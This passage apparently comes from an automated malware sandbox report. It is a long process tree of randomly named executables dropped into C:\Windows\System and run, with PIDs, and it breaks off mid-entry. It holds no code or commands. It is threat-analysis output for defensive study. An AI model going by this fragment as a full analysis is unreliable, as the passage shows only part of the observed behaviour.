  C:\Windows\System\pZzOJoJ.exe
  2⤵
  - Executes dropped EXE
  PID:228
- C:\Windows\System\kaGKNFh.exe
  C:\Windows\System\kaGKNFh.exe
  2⤵
  - Executes dropped EXE
  PID:3056
- C:\Windows\System\mcTRBAM.exe
  C:\Windows\System\mcTRBAM.exe
  2⤵
  - Executes dropped EXE
  PID:1276
- C:\Windows\System\bupQMVo.exe
  C:\Windows\System\bupQMVo.exe
  2⤵
  - Executes dropped EXE
  PID:1924
- C:\Windows\System\MuiLdOq.exe
  C:\Windows\System\MuiLdOq.exe
  2⤵
  - Executes dropped EXE
  PID:836
- C:\Windows\System\eqpyVbi.exe
  C:\Windows\System\eqpyVbi.exe
  2⤵
  - Executes dropped EXE
  PID:3636
- C:\Windows\System\UZqlZRO.exe
  C:\Windows\System\UZqlZRO.exe
  2⤵
  - Executes dropped EXE
  PID:2404
- C:\Windows\System\gmRvWKF.exe
  C:\Windows\System\gmRvWKF.exe
  2⤵
  - Executes dropped EXE
  PID:4464
- C:\Windows\System\lZumKdk.exe
  C:\Windows\System\lZumKdk.exe
  2⤵
  - Executes dropped EXE
  PID:3268
- C:\Windows\System\OtgCWPh.exe
  C:\Windows\System\OtgCWPh.exe
  2⤵
  - Executes dropped EXE
  PID:532
- C:\Windows\System\NvbVlFX.exe
  C:\Windows\System\NvbVlFX.exe
  2⤵
  - Executes dropped EXE
  PID:3012
- C:\Windows\System\GlAtmCr.exe
  C:\Windows\System\GlAtmCr.exe
  2⤵
  - Executes dropped EXE
  PID:3440
- C:\Windows\System\JDkxoby.exe
  C:\Windows\System\JDkxoby.exe
  2⤵
  - Executes dropped EXE
  PID:3612
- C:\Windows\System\ofKbpyo.exe
  C:\Windows\System\ofKbpyo.exe
  2⤵
  - Executes dropped EXE
  PID:4540
- C:\Windows\System\CauqbWf.exe
  C:\Windows\System\CauqbWf.exe
  2⤵
  - Executes dropped EXE
  PID:2268
- C:\Windows\System\kzdUHDl.exe
  C:\Windows\System\kzdUHDl.exe
  2⤵
  - Executes dropped EXE
  PID:4828
- C:\Windows\System\UvJyfcV.exe
  C:\Windows\System\UvJyfcV.exe
  2⤵
  - Executes dropped EXE
  PID:3948
- C:\Windows\System\KPkrJCR.exe
  C:\Windows\System\KPkrJCR.exe
  2⤵
  - Executes dropped EXE
  PID:4740
- C:\Windows\System\CknOSJw.exe
  C:\Windows\System\CknOSJw.exe
  2⤵
  - Executes dropped EXE
  PID:3344
- C:\Windows\System\SqdxEdJ.exe
  C:\Windows\System\SqdxEdJ.exe
  2⤵
  - Executes dropped EXE
  PID:1556
- C:\Windows\System\sJmNnpL.exe
  C:\Windows\System\sJmNnpL.exe
  2⤵
  - Executes dropped EXE
  PID:468
- C:\Windows\System\kiWFuCW.exe
  C:\Windows\System\kiWFuCW.exe
  2⤵
  - Executes dropped EXE
  PID:3856
- C:\Windows\System\VwXYivg.exe
  C:\Windows\System\VwXYivg.exe
  2⤵
  - Executes dropped EXE
  PID:740
- C:\Windows\System\iVkdrPX.exe
  C:\Windows\System\iVkdrPX.exe
  2⤵
  - Executes dropped EXE
  PID:4588
- C:\Windows\System\OOHyGRp.exe
  C:\Windows\System\OOHyGRp.exe
  2⤵
  - Executes dropped EXE
  PID:5092
- C:\Windows\System\vyxzGiE.exe
  C:\Windows\System\vyxzGiE.exe
  2⤵
  - Executes dropped EXE
  PID:3808
- C:\Windows\System\NCpatAp.exe
  C:\Windows\System\NCpatAp.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\FETMdty.exe
  C:\Windows\System\FETMdty.exe
  2⤵
  - Executes dropped EXE
  PID:5024
- C:\Windows\System\OeYoPOj.exe
  C:\Windows\System\OeYoPOj.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System\KUUuEXV.exe
  C:\Windows\System\KUUuEXV.exe
  2⤵
  - Executes dropped EXE
  PID:3648
- C:\Windows\System\jVeqpyW.exe
  C:\Windows\System\jVeqpyW.exe
  2⤵
  - Executes dropped EXE
  PID:4656
- C:\Windows\System\rFqpFGS.exe
  C:\Windows\System\rFqpFGS.exe
  2⤵
  - Executes dropped EXE
  PID:2292
- C:\Windows\System\nExkcEZ.exe
  C:\Windows\System\nExkcEZ.exe
  2⤵
  - Executes dropped EXE
  PID:4892
- C:\Windows\System\nitPurH.exe
  C:\Windows\System\nitPurH.exe
  2⤵
  - Executes dropped EXE
  PID:3600
- C:\Windows\System\rREieMz.exe
  C:\Windows\System\rREieMz.exe
  2⤵
  - Executes dropped EXE
  PID:3080
- C:\Windows\System\BXuHhHH.exe
  C:\Windows\System\BXuHhHH.exe
  2⤵
  - Executes dropped EXE
  PID:1144
- C:\Windows\System\ESdLfsi.exe
  C:\Windows\System\ESdLfsi.exe
  2⤵
  - Executes dropped EXE
  PID:4388
- C:\Windows\System\hXTvnoC.exe
  C:\Windows\System\hXTvnoC.exe
  2⤵
  - Executes dropped EXE
  PID:4960
- C:\Windows\System\xjQGCdf.exe
  C:\Windows\System\xjQGCdf.exe
  2⤵
  - Executes dropped EXE
  PID:4428
- C:\Windows\System\cVpsevk.exe
  C:\Windows\System\cVpsevk.exe
  2⤵
  - Executes dropped EXE
  PID:1684
- C:\Windows\System\SGjGuEP.exe
  C:\Windows\System\SGjGuEP.exe
  2⤵
  - Executes dropped EXE
  PID:4888
- C:\Windows\System\zZcItkm.exe
  C:\Windows\System\zZcItkm.exe
  2⤵
  - Executes dropped EXE
  PID:400
- C:\Windows\System\zMstGly.exe
  C:\Windows\System\zMstGly.exe
  2⤵
  - Executes dropped EXE
  PID:3364
- C:\Windows\System\nIxEYbG.exe
  C:\Windows\System\nIxEYbG.exe
  2⤵
  - Executes dropped EXE
  PID:444
- C:\Windows\System\cUGpulN.exe
  C:\Windows\System\cUGpulN.exe
  2⤵
  - Executes dropped EXE
  PID:4772
- C:\Windows\System\eCfTlEV.exe
  C:\Windows\System\eCfTlEV.exe
  2⤵
  - Executes dropped EXE
  PID:324
- C:\Windows\System\dJbYBMC.exe
  C:\Windows\System\dJbYBMC.exe
  2⤵
  - Executes dropped EXE
  PID:3616
- C:\Windows\System\sAAnLpb.exe
  C:\Windows\System\sAAnLpb.exe
  2⤵
  - Executes dropped EXE
  PID:5068
- C:\Windows\System\WZMumXi.exe
  C:\Windows\System\WZMumXi.exe
  2⤵
  PID:1064
- C:\Windows\System\ahiEjKF.exe
  C:\Windows\System\ahiEjKF.exe
  2⤵
  PID:1532
- C:\Windows\System\DDXqeak.exe
  C:\Windows\System\DDXqeak.exe
  2⤵
  PID:4996
- C:\Windows\System\fhPZlxv.exe
  C:\Windows\System\fhPZlxv.exe
  2⤵
  PID:4728
- C:\Windows\System\ursAPJy.exe
  C:\Windows\System\ursAPJy.exe
  2⤵
  PID:560
- C:\Windows\System\HiTgJSa.exe
  C:\Windows\System\HiTgJSa.exe
  2⤵
  PID:3112
- C:\Windows\System\PgoyoAS.exe
  C:\Windows\System\PgoyoAS.exe
  2⤵
  PID:1656
- C:\Windows\System\JtGwdIW.exe
  C:\Windows\System\JtGwdIW.exe
  2⤵
  PID:5012
- C:\Windows\System\kRarkxE.exe
  C:\Windows\System\kRarkxE.exe
  2⤵
  PID:4556
- C:\Windows\System\EeTnfjD.exe
  C:\Windows\System\EeTnfjD.exe
  2⤵
  PID:3608
- C:\Windows\System\VxgdGqh.exe
  C:\Windows\System\VxgdGqh.exe
  2⤵
  PID:3348
- C:\Windows\System\gXIaPNH.exe
  C:\Windows\System\gXIaPNH.exe
  2⤵
  PID:3944
- C:\Windows\System\ytSPaHx.exe
  C:\Windows\System\ytSPaHx.exe
  2⤵
  PID:4332
- C:\Windows\System\XrBxnAJ.exe
  C:\Windows\System\XrBxnAJ.exe
  2⤵
  PID:1260
- C:\Windows\System\NuXMNYr.exe
  C:\Windows\System\NuXMNYr.exe
  2⤵
  PID:5132
- C:\Windows\System\rqsJcYC.exe
  C:\Windows\System\rqsJcYC.exe
  2⤵
  PID:5152
- C:\Windows\System\WDHdtaO.exe
  C:\Windows\System\WDHdtaO.exe
  2⤵
  PID:5264
- C:\Windows\System\YdwxKSe.exe
  C:\Windows\System\YdwxKSe.exe
  2⤵
  PID:5288
- C:\Windows\System\ntifEOM.exe
  C:\Windows\System\ntifEOM.exe
  2⤵
  PID:5316
- C:\Windows\System\pUDAxbb.exe
  C:\Windows\System\pUDAxbb.exe
  2⤵
  PID:5340
- C:\Windows\System\FHNPmzO.exe
  C:\Windows\System\FHNPmzO.exe
  2⤵
  PID:5356
- C:\Windows\System\uyuWggH.exe
  C:\Windows\System\uyuWggH.exe
  2⤵
  PID:5384
- C:\Windows\System\bcKHIWh.exe
  C:\Windows\System\bcKHIWh.exe
  2⤵
  PID:5408
- C:\Windows\System\woVQeGW.exe
  C:\Windows\System\woVQeGW.exe
  2⤵
  PID:5428
- C:\Windows\System\OwNlBOs.exe
  C:\Windows\System\OwNlBOs.exe
  2⤵
  PID:5444
- C:\Windows\System\WPPvXKa.exe
  C:\Windows\System\WPPvXKa.exe
  2⤵
  PID:5460
- C:\Windows\System\KJEglwe.exe
  C:\Windows\System\KJEglwe.exe
  2⤵
  PID:5476
- C:\Windows\System\UNeQrhs.exe
  C:\Windows\System\UNeQrhs.exe
  2⤵
  PID:5496
- C:\Windows\System\iOplHhm.exe
  C:\Windows\System\iOplHhm.exe
  2⤵
  PID:5680
- C:\Windows\System\XOiSgll.exe
  C:\Windows\System\XOiSgll.exe
  2⤵
  PID:5716
- C:\Windows\System\dRiyazQ.exe
  C:\Windows\System\dRiyazQ.exe
  2⤵
  PID:5736
- C:\Windows\System\nUwTpdn.exe
  C:\Windows\System\nUwTpdn.exe
  2⤵
  PID:5780
- C:\Windows\System\DeGnetd.exe
  C:\Windows\System\DeGnetd.exe
  2⤵
  PID:5796
- C:\Windows\System\FpofOow.exe
  C:\Windows\System\FpofOow.exe
  2⤵
  PID:5880
- C:\Windows\System\wKbAXDA.exe
  C:\Windows\System\wKbAXDA.exe
  2⤵
  PID:5904
- C:\Windows\System\oXjaPEg.exe
  C:\Windows\System\oXjaPEg.exe
  2⤵
  PID:5928
- C:\Windows\System\fcbpObY.exe
  C:\Windows\System\fcbpObY.exe
  2⤵
  PID:5944
- C:\Windows\System\OzRXplB.exe
  C:\Windows\System\OzRXplB.exe
  2⤵
  PID:5968
- C:\Windows\System\kpezZli.exe
  C:\Windows\System\kpezZli.exe
  2⤵
  PID:5984
- C:\Windows\System\qudLqNL.exe
  C:\Windows\System\qudLqNL.exe
  2⤵
  PID:6108
- C:\Windows\System\evwhuaY.exe
  C:\Windows\System\evwhuaY.exe
  2⤵
  PID:6132
- C:\Windows\System\LkwKQHU.exe
  C:\Windows\System\LkwKQHU.exe
  2⤵
  PID:5224
- C:\Windows\System\tEBTJmU.exe
  C:\Windows\System\tEBTJmU.exe
  2⤵
  PID:5276
- C:\Windows\System\GKPCPIG.exe
  C:\Windows\System\GKPCPIG.exe
  2⤵
  PID:5328
- C:\Windows\System\mNrtdOy.exe
  C:\Windows\System\mNrtdOy.exe
  2⤵
  PID:5372
- C:\Windows\System\RBuVTWZ.exe
  C:\Windows\System\RBuVTWZ.exe
  2⤵
  PID:5424
- C:\Windows\System\sqMdfqp.exe
  C:\Windows\System\sqMdfqp.exe
  2⤵
  PID:5536
- C:\Windows\System\DYfQZGm.exe
  C:\Windows\System\DYfQZGm.exe
  2⤵
  PID:5468
- C:\Windows\System\Kqtrjyp.exe
  C:\Windows\System\Kqtrjyp.exe
  2⤵
  PID:5696
- C:\Windows\System\HmQrAhj.exe
  C:\Windows\System\HmQrAhj.exe
  2⤵
  PID:5724
- C:\Windows\System\UnSVOIS.exe
  C:\Windows\System\UnSVOIS.exe
  2⤵
  PID:5792
- C:\Windows\System\ChNvfpg.exe
  C:\Windows\System\ChNvfpg.exe
  2⤵
  PID:5832
- C:\Windows\System\PxtZXRS.exe
  C:\Windows\System\PxtZXRS.exe
  2⤵
  PID:5872
- C:\Windows\System\EuSqnxR.exe
  C:\Windows\System\EuSqnxR.exe
  2⤵
  PID:5912
- C:\Windows\System\pEomaJu.exe
  C:\Windows\System\pEomaJu.exe
  2⤵
  PID:5940
- C:\Windows\System\pwTWyJc.exe
  C:\Windows\System\pwTWyJc.exe
  2⤵
  PID:5980
- C:\Windows\System\IOVsQjb.exe
  C:\Windows\System\IOVsQjb.exe
  2⤵
  PID:6060
- C:\Windows\System\FRgINPc.exe
  C:\Windows\System\FRgINPc.exe
  2⤵
  PID:4864
- C:\Windows\System\uktqcrH.exe
  C:\Windows\System\uktqcrH.exe
  2⤵
  PID:6104
- C:\Windows\System\dRStjlr.exe
  C:\Windows\System\dRStjlr.exe
  2⤵
  PID:5124
- C:\Windows\System\mbOONhl.exe
  C:\Windows\System\mbOONhl.exe
  2⤵
  PID:4696
- C:\Windows\System\GfXkCtj.exe
  C:\Windows\System\GfXkCtj.exe
  2⤵
  PID:2272
- C:\Windows\System\HcUInad.exe
  C:\Windows\System\HcUInad.exe
  2⤵
  PID:1360
- C:\Windows\System\wPfwTvm.exe
  C:\Windows\System\wPfwTvm.exe
  2⤵
  PID:2356
- C:\Windows\System\EAzUtAc.exe
  C:\Windows\System\EAzUtAc.exe
  2⤵
  PID:1756
- C:\Windows\System\REMVUxj.exe
  C:\Windows\System\REMVUxj.exe
  2⤵
  PID:4884
- C:\Windows\System\VepZoiH.exe
  C:\Windows\System\VepZoiH.exe
  2⤵
  PID:3260
- C:\Windows\System\MuTOwlp.exe
  C:\Windows\System\MuTOwlp.exe
  2⤵
  PID:744
- C:\Windows\System\vxUHdDJ.exe
  C:\Windows\System\vxUHdDJ.exe
  2⤵
  PID:4824
- C:\Windows\System\QWzaQCj.exe
  C:\Windows\System\QWzaQCj.exe
  2⤵
  PID:4168
- C:\Windows\System\SyunkQZ.exe
  C:\Windows\System\SyunkQZ.exe
  2⤵
  PID:3684
- C:\Windows\System\caqXNrF.exe
  C:\Windows\System\caqXNrF.exe
  2⤵
  PID:2140
- C:\Windows\System\NnvdJVv.exe
  C:\Windows\System\NnvdJVv.exe
  2⤵
  PID:2960
- C:\Windows\System\vPWeTUh.exe
  C:\Windows\System\vPWeTUh.exe
  2⤵
  PID:3964
- C:\Windows\System\cCcxEfp.exe
  C:\Windows\System\cCcxEfp.exe
  2⤵
  PID:5256
- C:\Windows\System\aCYSeCD.exe
  C:\Windows\System\aCYSeCD.exe
  2⤵
  PID:5400
- C:\Windows\System\WEouIkf.exe
  C:\Windows\System\WEouIkf.exe
  2⤵
  PID:5708
- C:\Windows\System\mijyECy.exe
  C:\Windows\System\mijyECy.exe
  2⤵
  PID:5828
- C:\Windows\System\lRWDaJY.exe
  C:\Windows\System\lRWDaJY.exe
  2⤵
  PID:5484
- C:\Windows\System\NHxLrPT.exe
  C:\Windows\System\NHxLrPT.exe
  2⤵
  PID:6076
- C:\Windows\System\EZxrMox.exe
  C:\Windows\System\EZxrMox.exe
  2⤵
  PID:6052
- C:\Windows\System\sdqyhxd.exe
  C:\Windows\System\sdqyhxd.exe
  2⤵
  PID:4776
- C:\Windows\System\czGXZnq.exe
  C:\Windows\System\czGXZnq.exe
  2⤵
  PID:4852
- C:\Windows\System\wmAEnaf.exe
  C:\Windows\System\wmAEnaf.exe
  2⤵
  PID:2184
- C:\Windows\System\CtRYxrw.exe
  C:\Windows\System\CtRYxrw.exe
  2⤵
  PID:2408
- C:\Windows\System\QayJQpQ.exe
  C:\Windows\System\QayJQpQ.exe
  2⤵
  PID:5296
- C:\Windows\System\MOluStk.exe
  C:\Windows\System\MOluStk.exe
  2⤵
  PID:6160
- C:\Windows\System\pHJHrmh.exe
  C:\Windows\System\pHJHrmh.exe
  2⤵
  PID:6188
- C:\Windows\System\ghLBJgo.exe
  C:\Windows\System\ghLBJgo.exe
  2⤵
  PID:6204
- C:\Windows\System\GCXDeMh.exe
  C:\Windows\System\GCXDeMh.exe
  2⤵
  PID:6228
- C:\Windows\System\SAiwaak.exe
  C:\Windows\System\SAiwaak.exe
  2⤵
  PID:6248
- C:\Windows\System\mImzItJ.exe
  C:\Windows\System\mImzItJ.exe
  2⤵
  PID:6272
- C:\Windows\System\weXDWyt.exe
  C:\Windows\System\weXDWyt.exe
  2⤵
  PID:6292
- C:\Windows\System\DhFeypz.exe
  C:\Windows\System\DhFeypz.exe
  2⤵
  PID:6312
- C:\Windows\System\NQNywxl.exe
  C:\Windows\System\NQNywxl.exe
  2⤵
  PID:6336
- C:\Windows\System\wGQDAPY.exe
  C:\Windows\System\wGQDAPY.exe
  2⤵
  PID:6356
- C:\Windows\System\MUqJsDO.exe
  C:\Windows\System\MUqJsDO.exe
  2⤵
  PID:6376
- C:\Windows\System\QcESQBa.exe
  C:\Windows\System\QcESQBa.exe
  2⤵
  PID:6396
- C:\Windows\System\SqrMlov.exe
  C:\Windows\System\SqrMlov.exe
  2⤵
  PID:6416
- C:\Windows\System\ojITFRo.exe
  C:\Windows\System\ojITFRo.exe
  2⤵
  PID:6440
- C:\Windows\System\SJsffIs.exe
  C:\Windows\System\SJsffIs.exe
  2⤵
  PID:6460
- C:\Windows\System\qzHlbaU.exe
  C:\Windows\System\qzHlbaU.exe
  2⤵
  PID:6484
- C:\Windows\System\wxAeLjR.exe
  C:\Windows\System\wxAeLjR.exe
  2⤵
  PID:6500
- C:\Windows\System\FRsTjSY.exe
  C:\Windows\System\FRsTjSY.exe
  2⤵
  PID:6540
- C:\Windows\System\QaZdJln.exe
  C:\Windows\System\QaZdJln.exe
  2⤵
  PID:6560
- C:\Windows\System\HEbQAAf.exe
  C:\Windows\System\HEbQAAf.exe
  2⤵
  PID:6580
- C:\Windows\System\ureaWSV.exe
  C:\Windows\System\ureaWSV.exe
  2⤵
  PID:6600
- C:\Windows\System\grqlYgj.exe
  C:\Windows\System\grqlYgj.exe
  2⤵
  PID:6620
- C:\Windows\System\DEglIJf.exe
  C:\Windows\System\DEglIJf.exe
  2⤵
  PID:6648
- C:\Windows\System\IlgRGiT.exe
  C:\Windows\System\IlgRGiT.exe
  2⤵
  PID:6664
- C:\Windows\System\rxZYwHE.exe
  C:\Windows\System\rxZYwHE.exe
  2⤵
  PID:6688
- C:\Windows\System\XETSnkU.exe
  C:\Windows\System\XETSnkU.exe
  2⤵
  PID:6708
- C:\Windows\System\nLZJSph.exe
  C:\Windows\System\nLZJSph.exe
  2⤵
  PID:6728
- C:\Windows\System\jeptQON.exe
  C:\Windows\System\jeptQON.exe
  2⤵
  PID:6756
- C:\Windows\System\RBwbsHH.exe
  C:\Windows\System\RBwbsHH.exe
  2⤵
  PID:6776
- C:\Windows\System\sawzAdr.exe
  C:\Windows\System\sawzAdr.exe
  2⤵
  PID:6800
- C:\Windows\System\uepahFm.exe
  C:\Windows\System\uepahFm.exe
  2⤵
  PID:6816
- C:\Windows\System\oNbGOPA.exe
  C:\Windows\System\oNbGOPA.exe
  2⤵
  PID:6840
- C:\Windows\System\zoqHOua.exe
  C:\Windows\System\zoqHOua.exe
  2⤵
  PID:6864
- C:\Windows\System\ZvuCMWy.exe
  C:\Windows\System\ZvuCMWy.exe
  2⤵
  PID:6884
- C:\Windows\System\rxqylwj.exe
  C:\Windows\System\rxqylwj.exe
  2⤵
  PID:6904
- C:\Windows\System\XzUDToB.exe
  C:\Windows\System\XzUDToB.exe
  2⤵
  PID:6920
- C:\Windows\System\YOmWcYG.exe
  C:\Windows\System\YOmWcYG.exe
  2⤵
  PID:6944
- C:\Windows\System\oKSqeTk.exe
  C:\Windows\System\oKSqeTk.exe
  2⤵
  PID:6960
- C:\Windows\System\jkWRSMX.exe
  C:\Windows\System\jkWRSMX.exe
  2⤵
  PID:6988
- C:\Windows\System\jXxeaUR.exe
  C:\Windows\System\jXxeaUR.exe
  2⤵
  PID:7008
- C:\Windows\System\LmYolEs.exe
  C:\Windows\System\LmYolEs.exe
  2⤵
  PID:7032
- C:\Windows\System\AwXsdgc.exe
  C:\Windows\System\AwXsdgc.exe
  2⤵
  PID:7056
- C:\Windows\System\YmAhjHb.exe
  C:\Windows\System\YmAhjHb.exe
  2⤵
  PID:7076
- C:\Windows\System\nQblPok.exe
  C:\Windows\System\nQblPok.exe
  2⤵
  PID:7096
- C:\Windows\System\aKMWDpN.exe
  C:\Windows\System\aKMWDpN.exe
  2⤵
  PID:7124
- C:\Windows\System\zulHeSn.exe
  C:\Windows\System\zulHeSn.exe
  2⤵
  PID:7140
- C:\Windows\System\fwBAlbK.exe
  C:\Windows\System\fwBAlbK.exe
  2⤵
  PID:5752
- C:\Windows\System\TKixSrk.exe
  C:\Windows\System\TKixSrk.exe
  2⤵
  PID:3584
- C:\Windows\System\zwoIUpf.exe
  C:\Windows\System\zwoIUpf.exe
  2⤵
  PID:6016
- C:\Windows\System\rRXoPiq.exe
  C:\Windows\System\rRXoPiq.exe
  2⤵
  PID:440
- C:\Windows\System\fsSfeaX.exe
  C:\Windows\System\fsSfeaX.exe
  2⤵
  PID:4160
- C:\Windows\System\wBRvWcp.exe
  C:\Windows\System\wBRvWcp.exe
  2⤵
  PID:6168
- C:\Windows\System\aMdvkHD.exe
  C:\Windows\System\aMdvkHD.exe
  2⤵
  PID:5820
- C:\Windows\System\pkqDddU.exe
  C:\Windows\System\pkqDddU.exe
  2⤵
  PID:4760
- C:\Windows\System\DEGrMFH.exe
  C:\Windows\System\DEGrMFH.exe
  2⤵
  PID:5348
- C:\Windows\System\vYYIgsn.exe
  C:\Windows\System\vYYIgsn.exe
  2⤵
  PID:5812
- C:\Windows\System\PUMWzje.exe
  C:\Windows\System\PUMWzje.exe
  2⤵
  PID:6184
- C:\Windows\System\ieecQdD.exe
  C:\Windows\System\ieecQdD.exe
  2⤵
  PID:6436
- C:\Windows\System\oltWLUQ.exe
  C:\Windows\System\oltWLUQ.exe
  2⤵
  PID:6260
- C:\Windows\System\MlRtZgr.exe
  C:\Windows\System\MlRtZgr.exe
  2⤵
  PID:6344
- C:\Windows\System\wyLOQoC.exe
  C:\Windows\System\wyLOQoC.exe
  2⤵
  PID:6596
- C:\Windows\System\ZaQAgyD.exe
  C:\Windows\System\ZaQAgyD.exe
  2⤵
  PID:6672
- C:\Windows\System\bdZTlms.exe
  C:\Windows\System\bdZTlms.exe
  2⤵
  PID:6716
- C:\Windows\System\HopwfMy.exe
  C:\Windows\System\HopwfMy.exe
  2⤵
  PID:6492
- C:\Windows\System\uUrRrsg.exe
  C:\Windows\System\uUrRrsg.exe
  2⤵
  PID:6508
- C:\Windows\System\AQCPeIf.exe
  C:\Windows\System\AQCPeIf.exe
  2⤵
  PID:6836
- C:\Windows\System\gGLhojR.exe
  C:\Windows\System\gGLhojR.exe
  2⤵
  PID:6536
- C:\Windows\System\CDIQjKb.exe
  C:\Windows\System\CDIQjKb.exe
  2⤵
  PID:6916
- C:\Windows\System\CknrACU.exe
  C:\Windows\System\CknrACU.exe
  2⤵
  PID:7068
- C:\Windows\System\rGlSZuP.exe
  C:\Windows\System\rGlSZuP.exe
  2⤵
  PID:7136
- C:\Windows\System\JQOgsne.exe
  C:\Windows\System\JQOgsne.exe
  2⤵
  PID:7164
- C:\Windows\System\ViqJdOC.exe
  C:\Windows\System\ViqJdOC.exe
  2⤵
  PID:7184
- C:\Windows\System\XiqrOof.exe
  C:\Windows\System\XiqrOof.exe
  2⤵
  PID:7204
- C:\Windows\System\OhMitjf.exe
  C:\Windows\System\OhMitjf.exe
  2⤵
  PID:7224
- C:\Windows\System\PJsuqeb.exe
  C:\Windows\System\PJsuqeb.exe
  2⤵
  PID:7248
- C:\Windows\System\zEZOLuO.exe
  C:\Windows\System\zEZOLuO.exe
  2⤵
  PID:7272
- C:\Windows\System\jiUmhoo.exe
  C:\Windows\System\jiUmhoo.exe
  2⤵
  PID:7292
- C:\Windows\System\hKwgbCJ.exe
  C:\Windows\System\hKwgbCJ.exe
  2⤵
  PID:7316
- C:\Windows\System\oOJmCEG.exe
  C:\Windows\System\oOJmCEG.exe
  2⤵
  PID:7336
- C:\Windows\System\jGTgRQY.exe
  C:\Windows\System\jGTgRQY.exe
  2⤵
  PID:7360
- C:\Windows\System\lwNRsHU.exe
  C:\Windows\System\lwNRsHU.exe
  2⤵
  PID:7384
- C:\Windows\System\kwPxpnV.exe
  C:\Windows\System\kwPxpnV.exe
  2⤵
  PID:7404
- C:\Windows\System\LMEhoYX.exe
  C:\Windows\System\LMEhoYX.exe
  2⤵
  PID:7432
- C:\Windows\System\nYvNpcI.exe
  C:\Windows\System\nYvNpcI.exe
  2⤵
  PID:7460
- C:\Windows\System\qonHJqx.exe
  C:\Windows\System\qonHJqx.exe
  2⤵
  PID:7476
- C:\Windows\System\IDAoBuI.exe
  C:\Windows\System\IDAoBuI.exe
  2⤵
  PID:7496
- C:\Windows\System\fBhnxTH.exe
  C:\Windows\System\fBhnxTH.exe
  2⤵
  PID:7516
- C:\Windows\System\uRoNwYk.exe
  C:\Windows\System\uRoNwYk.exe
  2⤵
  PID:7532
- C:\Windows\System\sHwjBJM.exe
  C:\Windows\System\sHwjBJM.exe
  2⤵
  PID:7560
- C:\Windows\System\CuVRmRR.exe
  C:\Windows\System\CuVRmRR.exe
  2⤵
  PID:7580
- C:\Windows\System\OvXMxyT.exe
  C:\Windows\System\OvXMxyT.exe
  2⤵
  PID:7604
- C:\Windows\System\SjaBpyu.exe
  C:\Windows\System\SjaBpyu.exe
  2⤵
  PID:7620
- C:\Windows\System\xtPCDBT.exe
  C:\Windows\System\xtPCDBT.exe
  2⤵
  PID:7640
- C:\Windows\System\suhvZuG.exe
  C:\Windows\System\suhvZuG.exe
  2⤵
  PID:7664
- C:\Windows\System\sQWIAYI.exe
  C:\Windows\System\sQWIAYI.exe
  2⤵
  PID:7680
- C:\Windows\System\ibzVpOw.exe
  C:\Windows\System\ibzVpOw.exe
  2⤵
  PID:7704
- C:\Windows\System\eDIwCYm.exe
  C:\Windows\System\eDIwCYm.exe
  2⤵
  PID:7732
- C:\Windows\System\YAlcIWP.exe
  C:\Windows\System\YAlcIWP.exe
  2⤵
  PID:7756
- C:\Windows\System\QYyHOCA.exe
  C:\Windows\System\QYyHOCA.exe
  2⤵
  PID:7776
- C:\Windows\System\ECBEqds.exe
  C:\Windows\System\ECBEqds.exe
  2⤵
  PID:7804
- C:\Windows\System\WwxviAj.exe
  C:\Windows\System\WwxviAj.exe
  2⤵
  PID:7824
- C:\Windows\System\iNgnhPW.exe
  C:\Windows\System\iNgnhPW.exe
  2⤵
  PID:7848
- C:\Windows\System\wefjcif.exe
  C:\Windows\System\wefjcif.exe
  2⤵
  PID:7868
- C:\Windows\System\mmhkufY.exe
  C:\Windows\System\mmhkufY.exe
  2⤵
  PID:7900
- C:\Windows\System\ITbZbPp.exe
  C:\Windows\System\ITbZbPp.exe
  2⤵
  PID:7920
- C:\Windows\System\HhTqJgV.exe
  C:\Windows\System\HhTqJgV.exe
  2⤵
  PID:7940
- C:\Windows\System\hfzXomO.exe
  C:\Windows\System\hfzXomO.exe
  2⤵
  PID:7960
- C:\Windows\System\eYCScWQ.exe
  C:\Windows\System\eYCScWQ.exe
  2⤵
  PID:7984
- C:\Windows\System\vbHVQTO.exe
  C:\Windows\System\vbHVQTO.exe
  2⤵
  PID:8004
- C:\Windows\System\zFBUIIi.exe
  C:\Windows\System\zFBUIIi.exe
  2⤵
  PID:8028
- C:\Windows\System\XQrzTTq.exe
  C:\Windows\System\XQrzTTq.exe
  2⤵
  PID:8052
- C:\Windows\System\XQMDMxv.exe
  C:\Windows\System\XQMDMxv.exe
  2⤵
  PID:8072
- C:\Windows\System\WJPFfsz.exe
  C:\Windows\System\WJPFfsz.exe
  2⤵
  PID:8096
- C:\Windows\System\apgnGER.exe
  C:\Windows\System\apgnGER.exe
  2⤵
  PID:8120
- C:\Windows\System\rQpdjsH.exe
  C:\Windows\System\rQpdjsH.exe
  2⤵
  PID:8140
- C:\Windows\System\ichKiMI.exe
  C:\Windows\System\ichKiMI.exe
  2⤵
  PID:8156
- C:\Windows\System\MjDEGyd.exe
  C:\Windows\System\MjDEGyd.exe
  2⤵
  PID:8184
- C:\Windows\System\FaPUjZd.exe
  C:\Windows\System\FaPUjZd.exe
  2⤵
  PID:6684
- C:\Windows\System\OtqaORT.exe
  C:\Windows\System\OtqaORT.exe
  2⤵
  PID:7052
- C:\Windows\System\pEjygUN.exe
  C:\Windows\System\pEjygUN.exe
  2⤵
  PID:6768
- C:\Windows\System\GmEighY.exe
  C:\Windows\System\GmEighY.exe
  2⤵
  PID:1812
- C:\Windows\System\DaQmyOp.exe
  C:\Windows\System\DaQmyOp.exe
  2⤵
  PID:6752
- C:\Windows\System\BZBkFBz.exe
  C:\Windows\System\BZBkFBz.exe
  2⤵
  PID:7200
- C:\Windows\System\DPcWPOn.exe
  C:\Windows\System\DPcWPOn.exe
  2⤵
  PID:6152
- C:\Windows\System\UnEHcAC.exe
  C:\Windows\System\UnEHcAC.exe
  2⤵
  PID:7376
- C:\Windows\System\sKyYoEZ.exe
  C:\Windows\System\sKyYoEZ.exe
  2⤵
  PID:6940
- C:\Windows\System\fVWhUdA.exe
  C:\Windows\System\fVWhUdA.exe
  2⤵
  PID:6980
- C:\Windows\System\jJmwxro.exe
  C:\Windows\System\jJmwxro.exe
  2⤵
  PID:7484
- C:\Windows\System\mJoodNR.exe
  C:\Windows\System\mJoodNR.exe
  2⤵
  PID:7116
- C:\Windows\System\oFLOjSn.exe
  C:\Windows\System\oFLOjSn.exe
  2⤵
  PID:3828
- C:\Windows\System\haaZjgG.exe
  C:\Windows\System\haaZjgG.exe
  2⤵
  PID:4240
- C:\Windows\System\GYpIRCr.exe
  C:\Windows\System\GYpIRCr.exe
  2⤵
  PID:6476
- C:\Windows\System\qiSnwCn.exe
